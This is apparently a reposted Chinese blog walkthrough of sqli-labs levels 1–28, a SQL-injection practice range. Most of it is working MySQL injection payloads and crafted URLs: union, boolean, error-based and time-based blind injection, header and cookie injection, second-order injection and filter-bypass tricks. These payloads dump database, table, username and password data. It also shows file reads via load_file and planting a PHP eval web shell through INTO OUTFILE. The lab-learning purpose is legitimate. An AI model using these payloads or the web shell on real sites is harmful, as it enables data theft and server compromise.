第一页
1~4预备知识(基于错误的注入)
几个常用函数:
1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
SCHEMATA表:提供了关于数据库的信息。
TABLES表:给出了关于数据库中的表的信息。
COLUMNS表:给出了表中的列信息。
STATISTICS表:给出了关于表索引的信息。
字符连接函数:
1. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
测试语句:
or 1=1--+
‘ or 1=1--+
" or 1=1--+
) or 1=1--+
‘) or 1=1--+
") or 1=1--+
")) or 1=1--+
一般情况代码为:
$sql="SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1";
加入测试语句后:‘ or 1=1--+
$sql="SELECT * FROM users WHERE id=‘$id‘ or 1=1--+‘ LIMIT 0,1";
union操作符:
用于合并两个或多个select语句
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
UNION 内部的 SELECT
语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的
列的顺序必须相同
less-1:
先添加单引号,报错,证明有sql漏洞
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1‘‘ LIMIT 0,1‘ at line 1
说明查询语句是:
SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1
‘‘1‘‘ LIMIT 0,1‘
尝试‘ or 1=1--+
--+是为了把后面的注释掉
‘order by 4--+得到列数
-1‘union select 1,2,3--+
显示出2,3,说明这里可以回显
爆库:
union select 1,group_concat(schema_name),3 from information_schema.schemata--+
查询schema_name(库名)并放到一个组里
从information_schema.schemata(存放所有数据库名的表)里面
爆表:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security‘--+
查询table_name(表名)的信息放在一个组里
从information_schema.tables(存放所有表名的地方)中table_schema=‘security‘的地方
爆列:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users‘--+
查询column_name(列名)的信息,放在一个组里
从information_schema.coulmns(存放所有列名的表)中table_name=‘users‘的地方
爆数据:
union select 1,username,password from users where id=2--+
从users表中的id=2的地方查询username和password的内容
less-2:
单引号报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘ LIMIT 0,1‘ at line 1
说明查询语句是:
SELECT * FROM users WHERE id=$id LIMIT 0,1
‘‘ LIMIT 0,1‘
查询代码使用了整数
可以使用不加单引号的or 1=1
less-3:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1‘‘) LIMIT 0,1‘ at line 1
说明查询语句是:
SELECT * FROM users WHERE id=(‘$id‘) LIMIT 0,1
‘‘1‘‘) LIMIT 0,1‘
可以使用‘) 或) 把前面闭合
less-4:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘"1"") LIMIT 0,1‘ at line 1
说明查询语句是:
SELECT * FROM users WHERE id=("$id") LIMIT 0,1
‘"1"") LIMIT 0,1‘
可以使用:")闭合就行了
5~6背景知识2:
盲注:数据不能回显到前端页面,我们需要利用一些方法进行判断或者尝试
•基于布尔 SQL 盲注----------构造逻辑判断
(知识)SQL注入截取字符串常用函数:
http://www.cnblogs.com/lcamry/p/5504374.html
1.mid(column_name,start[,length])
column_name——要提取的字段
start——规定开始位置
length——要返回的字符数, 如果省略,则mid() 函数返回剩余文本
例如str="123456"
mid(str,2,1) ----->结果为2
mid(database(),1,1)>‘a‘,查看数据库的第一位,
mid(database(),2,1)>‘a‘,产看数据库的第二位,
MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>‘a‘此处column_name参数可以为sql语句,可自行构造sql语句进行注入
2.substr(string,start,length)
substr(DATABASE(),1,1)>‘a‘,查看数据库名第一位,
substr(DATABASE(),2,1)>‘a‘,查看数据库名第二位,
substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>‘a‘此处string参数可以为sql语句,可自行构造sql语句进行注入。
3.left(string,n)
left(database(),1)>‘a‘,查看数据库名的第一位
left(database(),2)>‘a‘,查看数据库名的第二位
再用ord(上面的函数)>数字(ASCII码值)
ord(mid(database(),1,1))>144
检查database()的第一位ASCⅡ码是否大于144
regexp正则注入:
http://www.cnblogs.com/lcamry/articles/5717442.html
用法:select user() regexp ‘^r‘;
检验是否存在r中,在MySQL中会显示1
但是在网页上可以用
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=‘security‘ and table_name regexp ‘^us[a-z]‘ limit 0,1);
limit只是作用于前面的security的,想测试别的表名只是改一下表名就行
like匹配注入
select user() like ‘ro%‘
beecheck()重复执行
笛卡尔积:
如果user表中有4条数据
select count(*) from user A, user B
得:16
•基于报错的 SQL 盲注——构造payload让信息通过错误提示回显出来
MySQL的一个漏洞可以让信息显示出来
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
简化为
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
如果关键的表被禁用了,可以用:
select count(*) from (select 1 union select null union
select !1) group by concat(version(),floor(rand(0)*2))
如果rand被禁用了,可以用:
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
select exp(~(select * from(select user())a)) //double数值类型超出范围
参考文章:http://www.cnblogs.com/lcamry/articles/5509124.html
select !(select * from (select user())x) //bigint超出范围
参考文章
http://www.cnblogs.com/lcamry/articles/5509112.html
extractvalue(1,concat(0x7e,(select @@version),0x7e))
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
mysql对xml数据进行查询和修改的 xpath 函数,xpath 语法错误
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
mysql 重复特性,此处重复了 version,所以报错
•基于时间的 SQL 盲注——延时注入
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假,执行 sleep
select sleep (find_in_set(mid(@@version,1,1),‘0,1,2,3,4,5,6,7,8,9,.‘));
在0-9之间寻找版本号的第一位
less-5~6:
less-5
布尔盲注:
构造?id=1 发现返回you are in....不会返回信息了,说明是盲注
‘and left (version(),1)=5%23(测试数据库版本第一位是不是5)
返回正常,前面那个单引号是为了闭合变量id
‘and length(database())=8%23
测试数据库长度
‘and left(database(),1)>‘a‘--+
测试数据库第一位是否大于a
‘and left(database(),2)>‘sa‘--+
测试数据库前两位是否大于sa
‘and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+
检测数据表的第一个字符是否大于ascii 80
‘and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>80--+
检测数据表的第二个字符是否大于ascii80
此处limit限制的仍然是表的第几个,所以希望查看别的表的时候可以更改limit,即,第二个表测试的时候可改为limit 1,1
‘ and 1=(select 1 from information_schema.columns where table_name=‘users‘ and column_name regexp ‘^us[a-z]‘ limit 0,1)--+
检测users表中是否含有带有us的列名
这里select 1 from.....表里如果有记录,就显示1
简单理解就是不查询具体列,只要有值就显示1
‘ and 1=(select 1 from information_schema.columns where table_name=‘users‘ and column_name regexp ‘^username‘ limit 0,1)--+
检测表users中是否含有username的列名
利用ord()和mid()获取users表内容
‘ and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
获取表中username第一行第一个字段值ascii与68比较
基于错误的盲注
固定格式 想要查询的内容
‘ union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
当在一个聚合函数如count()函数后面,如果使用分组语句如group by就会把查询的一部分以错误的形式显示出来
基于时间的盲注
‘and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
当条件不成立,即错误时会有5秒钟的延时
关于if语句: if(condition,ture,fales) 若条件正确,执行ture,不正确执行flaes
‘and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80,1,sleep(5))--+
‘and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users‘),1,1))>80,1,sleep(5))--+
显示子查询由多行,还是不要用延时注入了,用正则表达式吧
‘ and 1=(select 1 from information_schema.columns where table_name=‘users‘ and table_name regexp ‘^us[a-z]‘ limit 0,1)--+
‘ and 1=(select 1 from information_schema.columns where table_name=‘users‘ and column_name regexp ‘^username‘ limit 0,1)--+
less-6
$id = ‘"‘.$id.‘"‘;
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
对传参进行了设置,闭合语句换了,把第五关的单引号换成双引号
背景知识3:
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串
使用条件:
1.使用and (selectcountfrom mysql.user)>0/*若返回正常,则说明有权限
2.读取的文件必须在服务器上
3.必须提供完整路径
4.文件必须小于max_allowed_packet
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain:"char(99,58,47,98,111,111,116,46,105,110,105)" 就是"c:/boot.ini"的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:"c:/boot.ini"的 16 进制是"0x633a2f626f6f742e696e69"
-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain:路径里的/用 \\代替
文件导入到数据库
当你具有数据库的权限时,可以将系统文件利用 load data infile 导入到数据库中
实例:
load data infile ‘/tmp/t0.txt‘ ignore into table t0 character set gbk fields terminated by ‘\t‘ lines terminated by ‘\n‘
把/tmp/t0.txt导入到t0表中,character set gbk 是字符集设置为 gbk,fields terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符
SELECT.....INTO OUTFILE ‘file_name‘
把被选择的行写入一个文件中必须有file权限
一般有两种形式
直接将select内容写入文件
Select version() into outfile"c:\\phpnow\\htdocs\\test.php"
也可以把version()换成一句话木马,在用菜刀连接
<?php @eval($_post["shadow"])?>
Select version() Into outfile"c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16 进制文件
解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDS TERMINATED BY
less-7
首先使用and (select count(*) from mysql.user)>0/*测试是否有读写权限,若有则返回正常
构造注释掉‘)) or 1=1--+
在指定文件夹创建uuu.txt
http://localhost/sqli-labs-master/Less-7/?id=1‘))UNION SELECT 1,2,3 into outfile "d:\\webanquan\\zkaq\\WWW\\sqli-labs-master\\Less-7\\uuu.txt"%23
针对无法写入
https://www.jianshu.com/p/7b9256de20d1
https://blog.csdn.net/weixin_39631030/article/details/79873936
无法写入是因为MySQL的secure_file_priv设置为null,不允许读写
方法:打开MySQL的安装目录下的my.ini,在mysqld模块里添加secure_file_priv = ‘‘ 记得改完后重启mysql服务
还可以用这种方法把一句话木马写进去,用菜刀连接,虽然我不能连接成功
‘<?php @eval($_GET["chen"])?>‘
less-8~10
都是用前面背景知识3,基本都是基于时间的盲注,大致思路如下
猜测数据库:
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
说明第一位是 s (ascii 码是 115)
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
说明第一位是 e (ascii 码是 101)
....
以此类推,我们知道了数据库名字是 security
猜测 security 的数据表:
http://127.0.0.1/sqllib/Less-9/?id=1‘and If(ascii(substr((select table_name from information_s
chema.tables where table_schema=‘security‘ limit 0,1),1,1))=101,1,sleep(5))--+
猜测第一个数据表的第一位是 e,...依次类推,得到 emails
http://127.0.0.1/sqllib/Less-9/?id=1‘and If(ascii(substr((select table_name from information_s
chema.tables where table_schema=‘security‘ limit 1,1),1,1))=114,1,sleep(5))--+
猜测第二个数据表的第一位是 r,...依次类推,得到 referers
...
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users
猜测 users 表的列:
http://127.0.0.1/sqllib/Less-9/?id=1‘and If(ascii(substr((select column_name from information
_schema.columns where table_name=‘users‘ limit 0,1),1,1))=105,1,sleep(5))--+
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
猜测 username 的值:
http://127.0.0.1/sqllib/Less-9/?id=1‘and If(ascii(substr((select username from users limit 0,1),
1,1))=68,1,sleep(5))--+
猜测 username 的第一行的第一位
以此类推,我们得到数据库 username,password 的所有内容
less-11~12:
post注入
用户名:admin‘
密码:111
报错:‘111‘ LIMIT 0,1‘
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1111‘ LIMIT 0,1‘ at line 1
出错原因应该是password字段被引号包起来了,导致引号不匹配
select username,password from users where username=‘admin‘‘ and password=‘111‘ limit 0,1
构造语句 admin‘ or ‘1‘=‘1
密码随意,登录成功
用户名:admin‘
密码:admin
报错,返回信息 ‘‘admin‘‘ and password=‘‘ LIMIT 0,1‘
可以推断出都是‘username‘ ‘password‘ 单引号分开
Username:1admin‘union select 1,database()# 这里不明白,1admin 前面是数字就行,把数字放后面就不行了,admin1可能是存在这么一个用户名,没法激发后面的联合查询
passwd=1(任意密码) 密码随意是因为#那后面的注释掉了
返回数据库名称
less-13~14:
先单引号测试,再根据返回的错误信息,构造语句
这一关是‘) or 1=1--+
可以发现登录成功或失败只显示登录成功或失败
登录成功后不会显示用户名和密码,所以,需要用到盲注
用户名:admin‘)and mid(database(),1,1)>‘a‘#
密码:随意
less-15~16:
盲注,简直是够了,什么错误都不显示,除了登录成功与否,只能把所有如:‘ " ‘) ‘)) "))方法试一遍
背景知识4:
MySQL数据库中的增删改查
查就是select,增是insert,删就是delect或drop,改就是update
增:insert into users values(‘16‘,‘lcamry‘,‘lcamry‘);
删:
删数据
delete from 表名;
delete from 表名 where id=1;
删节构
删数据库:drop database数据库名;
删除表:drop table 表名;
删除表中的列:alter table 表名 drop column 列名;
改:
修改所有:updata 表名 set 列名=‘新的值,非数字加单引号‘ ;
带条件的修改:updata 表名 set 列名=‘新的值,非数字加单引号‘ where id=6;
addslashes()函数返回在预定义字符之前添加反斜杠的字符串
预定义字符:单引号,双引号,反斜杠,null
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串
用了这个以后就不能用‘或"来闭合前面的语句了
stripslashes()删除由addslashes()添加的反斜线
mysql_real_escape_string(string,connection)转义sql语句中使用字符串中的特殊字符
\x00
\n
\r
‘
"
\x1a
都会受到影响,若成功,返回被转义的字符串,若失败,返回false
less-17:
(这题我还以为是用更改数据的方式改密码呐,原来是在改密码的界面爆数据。。。)
本关中的username被限制了,所以只能在password输入
输入:
123‘ and (updatexml(1,concat(0x5c,version(),0x5c),1))#
在concat()里替换成要查询的语句,注意用括号括起来,并且需要limit限制,不然查询不出来
less-18:
输入admin,admin测试后发现会查询IP和user agent,所以通过burp抓包后修改这两个地方的参数,加入sql查询语句
‘and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1‘=‘1
less-19:
测试后发现返回的是referer
构造查询语句
‘and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ‘1‘=‘1
less-20:
测试后发现在cookie处可以注入,还是用burp抓包后更改为sql注入语句
这里是通过cookie来获取uname的,所以改成下面这样
uname=admin1‘and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
less-21:
这里对cookie进行了base64处理,所以只要把要注入的SQL语句转换成base64就行
less-22:
同样是base64处理,但是要注意前面闭合的时候要用双引号
第二页
突然发现自己本地搭建的靶场竟然还不如网上的快(看雪的:http://43.247.91.228:84/)
less-23
对#跟--做了过滤,
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
需要用单引号去闭合后面的:
http://43.247.91.228:84/Less-23/?id=-1‘ union select 1,2,‘3
可以发现2,3回显
http://43.247.91.228:84/Less-23/?id=-1‘ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security‘),‘3
less-24
二次注入,先注册一个admin‘#的用户名,然后当修改密码的时候会执行一下查询语句
update user set password=‘修改的密码‘ where username=‘admin‘#‘
这样就成功修改了 admin 的密码了
less-25
过滤掉了or 和 and 测试的时候用 || 就可以,注入的时候 information 要改成 infoorrmation,来补上 or
http://43.247.91.228:84/Less-25/?id=-1‘ union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=‘security‘),3--+
less-25a
不闭合的情况下执行25关的就可以
http://43.247.91.228:84/Less-25a/?id=-1 union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=‘security‘),3--+
less-26
注释被过滤掉,可以使用单引号闭合,?id=-1‘ or ‘1‘=‘1
同时 or 也被注释掉了,需要双写绕过 infoormation
空格过滤了,用下面这些替换
%09 TAB 键(水平)
%0a 新建一行
%0b TAB 键(垂直)
%0c 新的一页
%0d return 功能
%a0 空格
http://43.247.91.228:84/Less-26/?id=-1‘ union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=‘security‘),‘3
less-26a
改成了用 (‘‘) 来闭合
http://43.247.91.228:84/Less-26a/?id=100‘)union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=‘security‘),3||(‘1
less-27
过滤 select 和 union 但是大小写绕过
http://43.247.91.228:84/Less-27/?id=100‘%a0uNion%a0seleCt%a01,2,3||‘1
注出表名
http://43.247.91.228:84/Less-27/?id=100‘%a0uNion%a0seleCt%a01,(sElect%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=‘security‘),3||‘1
less-27a
这关闭合用的是 "
http://43.247.91.228:84/Less-27a/?id=100"%a0uNion%a0seleCt%a01,(sElect%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=‘security‘),3||"1
less-28
闭合用的是 ‘) 但是竟然没有过滤 select 和 union !?
http://43.247.91.228:84/Less-28/?id=10000‘)union%a0select%a0(1),(2),(3)||(‘1
http://43.247.91.228:84/Less-28/?id=10000‘)union%a0select%a0(1),(select%a0group_concat(table_name)from%a0information_schema.tables%a0where%a0table_schema=‘security‘),(3)||(‘1
less-28a
跟之前的28一样啊!?
原文地址:https://www.cnblogs.com/yichen115/p/11599619.html